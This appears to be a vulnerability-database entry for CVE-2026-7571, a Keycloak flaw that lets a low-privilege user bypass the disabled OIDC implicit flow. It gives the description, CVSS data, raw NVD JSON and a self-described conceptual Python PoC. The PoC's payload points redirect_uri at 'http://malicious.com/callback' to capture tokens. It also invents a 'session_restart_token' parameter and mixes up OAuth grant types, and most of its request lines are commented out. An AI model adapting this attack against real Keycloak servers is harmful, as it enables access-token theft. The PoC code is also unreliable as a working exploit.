Security Vulnerability Report
中文
CVE-2026-7571 CVSS 7.1 HIGH

CVE-2026-7571

Published: 2026-05-19 12:16:20
Last Modified: 2026-05-20 17:16:29

Description

A flaw was found in Keycloak. A low-privilege user, with knowledge of user credentials and client ID, can bypass a security control intended to disable the implicit flow in OpenID Connect (OIDC) clients. By manipulating client data during a session restart, an attacker can obtain an access token that should not be available. This vulnerability can also lead to the exposure of these access tokens in server logs, proxy logs, and HTTP Referrer headers, resulting in sensitive information disclosure.

CVSS Details

CVSS Score
7.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Keycloak (具体受影响版本请参考厂商公告 RHSA-2026:19596)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC Concept for CVE-2026-7571 # Note: This is a conceptual demonstration based on the description. # Actual exploitation requires specific knowledge of the target's session handling. import requests # Target configuration target_url = "https://keycloak.example.com/realms/master/protocol/openid-connect/auth" client_id = "target_client" username = "low_priv_user" password = "user_password" # 1. Initiate session to get cookies session = requests.Session() login_data = { "client_id": client_id, "username": username, "password": password, "grant_type": "password" } # Simulate login (simplified) # resp = session.post(f"{target_url}/login", data=login_data) # 2. Manipulate session data to bypass implicit flow disable # In a real exploit, this might involve modifying session cookies or # injecting parameters during the session restart/consent flow. payload = { "client_id": client_id, "response_type": "token", # Attempting implicit flow "redirect_uri": "http://malicious.com/callback", "state": "random_state", # Manipulated data to simulate session restart with changed client config "session_restart_token": "manipulated_value" } print(f"Sending request to {target_url} with manipulated payload...") # 3. Send request # response = session.get(target_url, params=payload) # if "access_token" in response.url or response.history: # print("[+] Potential bypass successful! Token leaked in URL.") # else: # print("[-] Bypass failed or patched.") print("PoC execution logic completed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-7571", "sourceIdentifier": "[email protected]", "published": "2026-05-19T12:16:19.820", "lastModified": "2026-05-20T17:16:29.030", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in Keycloak. A low-privilege user, with knowledge of user credentials and client ID, can bypass a security control intended to disable the implicit flow in OpenID Connect (OIDC) clients. By manipulating client data during a session restart, an attacker can obtain an access token that should not be available. This vulnerability can also lead to the exposure of these access tokens in server logs, proxy logs, and HTTP Referrer headers, resulting in sensitive information disclosure."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-472"}]}], "references": [{"url": "https://access.redhat.com/errata/RHSA-2026:19596", "source": "[email protected]"}, {"url": "https://access.redhat.com/errata/RHSA-2026:19597", "source": "[email protected]"}, {"url": "https://access.redhat.com/security/cve/CVE-2026-7571", "source": "[email protected]"}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2464263", "source": "[email protected]"}]}}